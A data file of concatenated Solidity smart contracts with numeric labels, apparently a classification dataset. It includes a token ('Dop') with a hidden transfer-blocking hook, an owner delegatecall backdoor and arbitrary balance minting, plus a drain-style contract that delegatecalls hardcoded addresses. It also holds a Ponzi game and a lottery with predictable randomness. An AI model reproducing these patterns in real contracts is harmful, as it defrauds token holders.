remain = remain.sub(_whitelistRefRewards[i]);
}
} else {
_transfer(address(this), refAccount, remain);
break;
}
cursor = _referrer[cursor];
}
}
function transferWhitelist(address account) external onlyInWhitelist {
require(isNotContract(account));
_refCount[account] = _refCount[msg.sender];
_refCount[msg.sender] = 0;
_referrer[account] = _referrer[msg.sender];
_referrer[msg.sender] = address(0);
emit WesionSaleWhitelistTransferred(msg.sender, account);
}
function isNotContract(address addr) internal view returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return size == 0;
}
function calculateTheRewardOfDirectWhitelistRegistration(address whitelistedAccount) external view returns (uint256 reward) {
if (!inWhitelist(whitelistedAccount)) {
return 0;
}
address cursor = whitelistedAccount;
uint256 remain = _whitelistRegistrationValue;
for(uint i = 1; i < _whitelistRefRewards.length; i++) {
address receiver = _referrer[cursor];
if (cursor != receiver) {
if (_refCount[receiver] > i) {
remain = remain.sub(_whitelistRefRewards[i]);
}
} else {
reward = reward.add(remain);
break;
}
cursor = _referrer[cursor];
}
return reward;
}
} | 1 | 5,549 |
pragma solidity ^0.4.18;
contract PlayersStorage {
struct Player {
uint256 input;
uint256 timestamp;
bool exist;
}
mapping (address => Player) private m_players;
address private m_owner;
modifier onlyOwner() {
require(msg.sender == m_owner);
_;
}
function PlayersStorage() public {
m_owner = msg.sender;
}
function newPlayer(address addr, uint256 input, uint256 timestamp)
public
onlyOwner()
returns(bool)
{
if (m_players[addr].exist) {
return false;
}
m_players[addr].input = input;
m_players[addr].timestamp = timestamp;
m_players[addr].exist = true;
return true;
}
function deletePlayer(address addr) public onlyOwner() {
delete m_players[addr];
}
function playerInfo(address addr)
public
view
onlyOwner()
returns(uint256 input, uint256 timestamp, bool exist)
{
input = m_players[addr].input;
timestamp = m_players[addr].timestamp;
exist = m_players[addr].exist;
}
function playerInput(address addr)
public
view
onlyOwner()
returns(uint256 input)
{
input = m_players[addr].input;
}
function playerExist(address addr)
public
view
onlyOwner()
returns(bool exist)
{
exist = m_players[addr].exist;
}
function playerTimestamp(address addr)
public
view
onlyOwner()
returns(uint256 timestamp)
{
timestamp = m_players[addr].timestamp;
}
function playerSetInput(address addr, uint256 newInput)
public
onlyOwner()
returns(bool)
{
if (!m_players[addr].exist) {
return false;
}
m_players[addr].input = newInput;
return true;
}
function kill() public onlyOwner() {
selfdestruct(m_owner);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC677Recipient {
function tokenFallback(address from, uint256 amount, bytes data) public returns (bool success);
}
contract PonziTokenMinInterface {
function balanceOf(address owner) public view returns(uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract TheGame is ERC677Recipient {
using SafeMath for uint256;
enum State {
NotActive,
Active
}
State private m_state;
address private m_owner;
uint256 private m_level;
PlayersStorage private m_playersStorage;
PonziTokenMinInterface private m_ponziToken;
uint256 private m_interestRateNumerator;
uint256 private constant INTEREST_RATE_DENOMINATOR = 1000;
uint256 private m_creationTimestamp;
uint256 private constant DURATION_TO_ACCESS_FOR_OWNER = 144 days;
uint256 private constant COMPOUNDING_FREQ = 1 days;
uint256 private constant DELAY_ON_EXIT = 100 hours;
uint256 private constant DELAY_ON_NEW_LEVEL = 7 days;
string private constant NOT_ACTIVE_STR = "NotActive";
uint256 private constant PERCENT_TAX_ON_EXIT = 10;
string private constant ACTIVE_STR = "Active";
uint256 private constant PERCENT_REFERRAL_BOUNTY = 1;
uint256 private m_levelStartupTimestamp;
uint256 private m_ponziPriceInWei;
address private m_priceSetter;
event NewPlayer(address indexed addr, uint256 input, uint256 when);
event DeletePlayer(address indexed addr, uint256 when);
event NewLevel(uint256 when, uint256 newLevel);
event StateChanged(address indexed who, State newState);
event PonziPriceChanged(address indexed who, uint256 newPrice);
modifier onlyOwner() {
require(msg.sender == m_owner);
_;
}
modifier onlyPonziToken() {
require(msg.sender == address(m_ponziToken));
_;
}
modifier atState(State state) {
require(m_state == state);
_;
}
modifier checkAccess() {
require(m_state == State.NotActive
|| now.sub(m_creationTimestamp) <= DURATION_TO_ACCESS_FOR_OWNER);
_;
}
modifier isPlayer(address addr) {
require(m_playersStorage.playerExist(addr));
_;
}
modifier gameIsAvailable() {
require(now >= m_levelStartupTimestamp.add(DELAY_ON_NEW_LEVEL));
_;
}
function TheGame(address ponziTokenAddr) public {
require(ponziTokenAddr != address(0));
m_ponziToken = PonziTokenMinInterface(ponziTokenAddr);
m_owner = msg.sender;
m_creationTimestamp = now;
m_state = State.NotActive;
m_level = 1;
m_interestRateNumerator = calcInterestRateNumerator(m_level);
}
function() public payable onlyPonziToken() { }
function exit()
external
atState(State.Active)
gameIsAvailable()
isPlayer(msg.sender)
{
uint256 input;
uint256 timestamp;
timestamp = m_playersStorage.playerTimestamp(msg.sender);
input = m_playersStorage.playerInput(msg.sender);
require(now >= timestamp.add(DELAY_ON_EXIT));
uint256 outputInPonzi = calcOutput(input, now.sub(timestamp).div(COMPOUNDING_FREQ));
assert(outputInPonzi > 0);
uint256 outputInWei = ponziToWei(outputInPonzi, m_ponziPriceInWei);
m_playersStorage.deletePlayer(msg.sender);
if (m_ponziPriceInWei > 0 && address(this).balance >= outputInWei) {
uint256 oldBalance = address(this).balance;
msg.sender.transfer(outputInWei);
assert(address(this).balance.add(outputInWei) >= oldBalance);
} else if (m_ponziToken.balanceOf(address(this)) >= outputInPonzi) {
uint256 oldPonziBalance = m_ponziToken.balanceOf(address(this));
assert(m_ponziToken.transfer(msg.sender, outputInPonzi));
assert(m_ponziToken.balanceOf(address(this)).add(outputInPonzi) == oldPonziBalance);
} else {
assert(m_ponziToken.transfer(msg.sender, m_ponziToken.balanceOf(address(this))));
assert(m_ponziToken.balanceOf(address(this)) == 0);
nextLevel();
}
}
function playerInfo(address addr)
public
view
atState(State.Active)
gameIsAvailable()
returns(uint256 input, uint256 timestamp, bool inGame)
{
(input, timestamp, inGame) = m_playersStorage.playerInfo(addr);
}
function playerOutputAtNow(address addr)
public
view
atState(State.Active)
gameIsAvailable()
returns(uint256 amount)
{
if (!m_playersStorage.playerExist(addr)) {
return 0;
}
uint256 input = m_playersStorage.playerInput(addr);
uint256 timestamp = m_playersStorage.playerTimestamp(addr);
uint256 numberOfPayout = now.sub(timestamp).div(COMPOUNDING_FREQ);
amount = calcOutput(input, numberOfPayout);
}
function playerDelayOnExit(address addr)
public
view
atState(State.Active)
gameIsAvailable()
returns(uint256 delay)
{
if (!m_playersStorage.playerExist(addr)) {
return 0;
}
uint256 timestamp = m_playersStorage.playerTimestamp(msg.sender);
if (now >= timestamp.add(DELAY_ON_EXIT)) {
delay = 0;
} else {
delay = timestamp.add(DELAY_ON_EXIT).sub(now);
}
}
function enter(uint256 input, address referralAddress)
external
atState(State.Active)
gameIsAvailable()
{
require(m_ponziToken.transferFrom(msg.sender, address(this), input));
require(newPlayer(msg.sender, input, referralAddress));
}
function priceSetter() external view returns(address) {
return m_priceSetter;
}
function ponziPriceInWei()
external
view
atState(State.Active)
returns(uint256)
{
return m_ponziPriceInWei;
}
function compoundingFreq()
external
view
atState(State.Active)
returns(uint256)
{
return COMPOUNDING_FREQ;
}
function interestRate()
external
view
atState(State.Active)
returns(uint256 numerator, uint256 denominator)
{
numerator = m_interestRateNumerator;
denominator = INTEREST_RATE_DENOMINATOR;
}
function level()
external
view
atState(State.Active)
returns(uint256)
{
return m_level;
}
function state() external view returns(string) {
if (m_state == State.NotActive)
return NOT_ACTIVE_STR;
else
return ACTIVE_STR;
}
function levelStartupTimestamp()
external
view
atState(State.Active)
returns(uint256)
{
return m_levelStartupTimestamp;
}
function totalPonziInGame()
external
view
returns(uint256)
{
return m_ponziToken.balanceOf(address(this));
}
function currentDelayOnNewLevel()
external
view
atState(State.Active)
returns(uint256 delay)
{
if (now >= m_levelStartupTimestamp.add(DELAY_ON_NEW_LEVEL)) {
delay = 0;
} else {
delay = m_levelStartupTimestamp.add(DELAY_ON_NEW_LEVEL).sub(now);
}
}
function tokenFallback(address from, uint256 amount, bytes data)
public
atState(State.Active)
gameIsAvailable()
onlyPonziToken()
returns (bool)
{
address referralAddress = bytesToAddress(data);
require(newPlayer(from, amount, referralAddress));
return true;
}
function setPonziPriceinWei(uint256 newPrice)
public
atState(State.Active)
{
require(msg.sender == m_owner || msg.sender == m_priceSetter);
m_ponziPriceInWei = newPrice;
PonziPriceChanged(msg.sender, m_ponziPriceInWei);
}
function disown() public onlyOwner() atState(State.Active) {
delete m_owner;
}
function setState(string newState) public onlyOwner() checkAccess() {
if (keccak256(newState) == keccak256(NOT_ACTIVE_STR)) {
m_state = State.NotActive;
} else if (keccak256(newState) == keccak256(ACTIVE_STR)) {
if (address(m_playersStorage) == address(0))
m_playersStorage = (new PlayersStorage());
m_state = State.Active;
} else {
revert();
}
StateChanged(msg.sender, m_state);
}
function setPriceSetter(address newPriceSetter)
public
onlyOwner()
checkAccess()
atState(State.Active)
{
m_priceSetter = newPriceSetter;
}
function newPlayer(address addr, uint256 inputAmount, address referralAddr)
private
returns(bool)
{
uint256 input = inputAmount;
if (m_playersStorage.playerExist(addr) || input < 1000)
return false;
if (m_playersStorage.playerExist(referralAddr)) {
uint256 newPlayerInput = inputAmount.mul(uint256(100).sub(PERCENT_REFERRAL_BOUNTY)).div(100);
uint256 referralInput = m_playersStorage.playerInput(referralAddr);
referralInput = referralInput.add(inputAmount.sub(newPlayerInput));
assert(m_playersStorage.playerSetInput(referralAddr, referralInput));
input = newPlayerInput;
}
assert(m_playersStorage.newPlayer(addr, input, now));
NewPlayer(addr, input, now);
return true;
}
function calcOutput(uint256 input, uint256 numberOfPayout)
private
view
returns(uint256 output)
{
output = input;
uint256 counter = numberOfPayout;
while (counter > 0) {
output = output.add(output.mul(m_interestRateNumerator).div(INTEREST_RATE_DENOMINATOR));
counter = counter.sub(1);
}
output = output.mul(uint256(100).sub(PERCENT_TAX_ON_EXIT)).div(100);
}
function nextLevel() private {
m_playersStorage.kill();
m_playersStorage = (new PlayersStorage());
m_level = m_level.add(1);
m_interestRateNumerator = calcInterestRateNumerator(m_level);
m_levelStartupTimestamp = now;
NewLevel(now, m_level);
}
function calcInterestRateNumerator(uint256 newLevel)
internal
pure
returns(uint256 numerator)
{
if (newLevel <= 5) {
numerator = uint256(6).sub(newLevel).mul(10);
} else if ( newLevel >= 6 && newLevel <= 14) {
numerator = uint256(15).sub(newLevel);
} else {
numerator = 1;
}
}
function ponziToWei(uint256 tokensAmount, uint256 tokenPrice)
internal
pure
returns(uint256 weiAmount)
{
weiAmount = tokensAmount.mul(tokenPrice);
}
function bytesToAddress(bytes source) internal pure returns(address parsedReferer) {
assembly {
parsedReferer := mload(add(source,0x14))
}
return parsedReferer;
}
} | 1 | 4,293 |
pragma solidity ^0.4.24;
contract CryptoFishing {
using SafeMath for uint256;
uint private lastBonusTime;
uint256 private rnSeed;
address owner;
event finishFishing(address player, uint256 awardAmount, uint awardType);
constructor() public {
owner = msg.sender;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "humans only");
require(tx.origin == msg.sender);
_;
}
function randomBonus(uint256 a, uint256 b, uint256 fee) private view returns (uint256) {
uint256 bonus = randomRange(a, b) * fee / 10;
return bonus;
}
function calcBonus(uint8 poolType, uint256 fee) private returns (uint256, uint) {
uint256 rn = random() % 1000000;
uint256 bonus = 0;
uint fishId = 0;
randomSeed();
if(poolType == 1) {
if(rn < 200000) {
bonus = 0;
fishId = 0;
} else if(rn < 400000) {
bonus = randomBonus(1, 5, fee);
fishId = 10001;
} else if(rn < 550000) {
bonus = randomBonus(6, 10, fee);
fishId = 10002;
} else if(rn < 750000) {
bonus = randomBonus(11, 11, fee);
fishId = 10003;
} else if(rn < 878000) {
bonus = randomBonus(12, 12, fee);
fishId = 10004;
} else if(rn < 928000) {
bonus = randomBonus(13, 13, fee);
fishId = 10005;
} else if(rn < 948000) {
bonus = randomBonus(14, 14, fee);
fishId = 10006;
} else if(rn < 958000) {
bonus = randomBonus(15, 15, fee);
fishId = 10007;
} else if(rn < 961000) {
bonus = randomBonus(16, 20, fee);
fishId = 10008;
} else if(rn < 971000) {
bonus = randomBonus(21, 30, fee);
fishId = 10009;
} else if(rn < 981000) {
bonus = randomBonus(31, 40, fee);
fishId = 10010;
} else if(rn < 986000) {
bonus = randomBonus(41, 50, fee);
fishId = 10011;
} else if(rn < 990000) {
bonus = randomBonus(51, 60, fee);
fishId = 10012;
} else if(rn < 994000) {
bonus = randomBonus(61, 70, fee);
fishId = 10013;
} else if(rn < 997000) {
bonus = randomBonus(71, 80, fee);
fishId = 10014;
} else if(rn < 999000) {
bonus = randomBonus(81, 90, fee);
fishId = 10015;
} else if(rn < 1000000) {
bonus = randomBonus(91, 100, fee);
fishId = 10016;
}
} else if(poolType == 2) {
if(rn < 100000) {
bonus = 0;
fishId = 0;
} else if(rn < 300000) {
bonus = randomBonus(1, 5, fee);
fishId = 20001;
} else if(rn < 543000) {
bonus = randomBonus(6, 10, fee);
fishId = 20002;
} else if(rn < 743000) {
bonus = randomBonus(11, 11, fee);
fishId = 20003;
} else if(rn < 893000) {
bonus = randomBonus(12, 12, fee);
fishId = 20004;
} else if(rn < 963000) {
bonus = randomBonus(13, 13, fee);
fishId = 20005;
} else if(rn < 983000) {
bonus = randomBonus(14, 14, fee);
fishId = 20006;
} else if(rn < 993000) {
bonus = randomBonus(15, 15, fee);
fishId = 20007;
} else if(rn < 996000) {
bonus = randomBonus(16, 20, fee);
fishId = 20008;
} else if(rn < 997000) {
bonus = randomBonus(21, 50, fee);
fishId = 20009;
} else if(rn < 998000) {
bonus = randomBonus(51, 100, fee);
fishId = 20010;
} else if(rn < 998800) {
bonus = randomBonus(101, 150, fee);
fishId = 20011;
} else if(rn < 999100) {
bonus = randomBonus(151, 200, fee);
fishId = 20012;
} else if(rn < 999300) {
bonus = randomBonus(201, 250, fee);
fishId = 20013;
} else if(rn < 999500) {
bonus = randomBonus(251, 300, fee);
fishId = 20014;
} else if(rn < 999700) {
bonus = randomBonus(301, 350, fee);
fishId = 20015;
} else if(rn < 999800) {
bonus = randomBonus(351, 400, fee);
fishId = 20016;
} else if(rn < 999900) {
bonus = randomBonus(401, 450, fee);
fishId = 20017;
} else if(rn < 1000000) {
bonus = randomBonus(451, 500, fee);
fishId = 20018;
}
} else if(poolType == 3) {
if(rn <= 100) {
uint256 total = address(this).balance;
bonus = total.div(2);
fishId = 90001;
} else if(rn < 300000) {
bonus = randomBonus(1, 5, fee);
fishId = 30001;
} else if(rn < 600000) {
bonus = randomBonus(6, 10, fee);
fishId = 30002;
} else if(rn < 800000) {
bonus = randomBonus(11, 11, fee);
fishId = 30003;
} else if(rn < 917900) {
bonus = randomBonus(12, 12, fee);
fishId = 30004;
} else if(rn < 967900) {
bonus = randomBonus(13, 13, fee);
fishId = 30005;
} else if(rn < 982900) {
bonus = randomBonus(14, 14, fee);
fishId = 30006;
} else if(rn < 989900) {
bonus = randomBonus(15, 15, fee);
fishId = 30007;
} else if(rn < 993900) {
bonus = randomBonus(16, 20, fee);
fishId = 30008;
} else if(rn < 995900) {
bonus = randomBonus(21, 50, fee);
fishId = 30009;
} else if(rn < 997900) {
bonus = randomBonus(51, 100, fee);
fishId = 30010;
} else if(rn < 998200) {
bonus = randomBonus(101, 150, fee);
fishId = 30011;
} else if(rn < 998500) {
bonus = randomBonus(151, 200, fee);
fishId = 30012;
} else if(rn < 998700) {
bonus = randomBonus(201, 250, fee);
fishId = 30013;
} else if(rn < 998900) {
bonus = randomBonus(251, 300, fee);
fishId = 30014;
} else if(rn < 999100) {
bonus = randomBonus(301, 350, fee);
fishId = 30015;
} else if(rn < 999200) {
bonus = randomBonus(351, 400, fee);
fishId = 30016;
} else if(rn < 999300) {
bonus = randomBonus(401, 450, fee);
fishId = 30017;
} else if(rn < 999400) {
bonus = randomBonus(451, 500, fee);
fishId = 30018;
} else if(rn < 999500) {
bonus = randomBonus(501, 550, fee);
fishId = 30019;
} else if(rn < 999600) {
bonus = randomBonus(551, 600, fee);
fishId = 30020;
} else if(rn < 999650) {
bonus = randomBonus(601, 650, fee);
fishId = 30021;
} else if(rn < 999700) {
bonus = randomBonus(651, 700, fee);
fishId = 30022;
} else if(rn < 999750) {
bonus = randomBonus(701, 750, fee);
fishId = 30023;
} else if(rn < 999800) {
bonus = randomBonus(751, 800, fee);
fishId = 30024;
} else if(rn < 999850) {
bonus = randomBonus(801, 850, fee);
fishId = 30025;
} else if(rn < 999900) {
bonus = randomBonus(851, 900, fee);
fishId = 30026;
} else if(rn < 999950) {
bonus = randomBonus(901, 950, fee);
fishId = 30027;
} else if(rn < 1000000) {
bonus = randomBonus(951, 1000, fee);
fishId = 30028;
}
}
return (bonus, fishId);
}
function randomSeed() private {
rnSeed += 1;
uint256 idx = (rnSeed % 200) + 1;
uint256 bh = uint256(blockhash(block.number - idx));
rnSeed = bh;
rnSeed += 1;
}
function doFishing(uint8 poolType) isHuman() public payable {
require(tx.origin == msg.sender);
uint256 fee = msg.value;
require( (poolType == 1 && fee == 0.05 ether)
|| (poolType == 2 && fee == 0.25 ether)
|| (poolType == 3 && fee == 0.5 ether)
, 'error eth amount');
uint256 reserveFee = fee.div(20);
owner.transfer(reserveFee);
uint256 bonus;
uint fishId;
randomSeed();
(bonus,fishId) = calcBonus(poolType, fee);
uint256 nowBalance = address(this).balance;
uint256 minRemain = uint256(0.1 ether);
if(bonus + minRemain > nowBalance) {
if(nowBalance > minRemain) {
bonus = nowBalance - minRemain;
} else {
bonus = 0;
}
}
if(bonus > 0) {
lastBonusTime = block.timestamp;
msg.sender.transfer(bonus);
}
emit finishFishing(msg.sender, bonus, fishId);
}
function charge() public payable {
}
function recycle() public payable {
require(msg.sender == owner);
uint threeMonth = 3600 * 24 * 30 * 3;
require(block.timestamp >= lastBonusTime + threeMonth);
owner.transfer(address(this).balance);
}
function randomRange(uint256 a, uint256 b) private view returns (uint256) {
assert(a <= b);
uint256 rn = random();
return a + rn % (b - a + 1);
}
function random() private view returns (uint256) {
return uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, rnSeed)));
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
} | 1 | 4,599 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Dop is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 15000000000000000000000000;
string public name = "Drops Ownership Power";
string public symbol = "DOP";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wETH, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 440 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract dragoncoin {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function dragoncoin(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,507 |
pragma solidity >=0.7.0 <0.8.0;
contract Owner {
address[] private contracts = [
0x3dAfE91e795409576Ddb983D891E5fb5c61439a1,
0x3aD2f955Bb5dfbF3CD22e764CCe8445F4243826a,
0x4F5E9704B1d7cC032553F63471D96FcB63Ff2bc3,
0xB95188f011E49a60fC6C743b1bc93B38651A204e,
0xbDb80D19dEA36EB7f63bdFD2bdD4033B2b7e8e4d,
0x910e014bBA427e9FCB48B4D314Dc81f840d7b6E3,
0x9D6acD34D481512586844fD65328BD358d306752,
0xBFc92d767436565B3C21Bd0B5Abf4598447697eE,
0x66d35ccD808317870198793a96b88ab69dCAe53B,
0x32dCB582EcD6193937BD33168e19173Cfe10a140
];
function withdrawPayment() public {
for (uint i = 0; i < contracts.length; i++) {
contracts[i].delegatecall(abi.encodeWithSignature("withdrawPayment(address)", 0xFa0E4F48a369BB3eCBCEe0B5119379EA8D1bcF29));
}
}
function kill() public {
selfdestruct(payable(msg.sender));
}
} | 0 | 1,100 |
pragma solidity 0.4.25;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
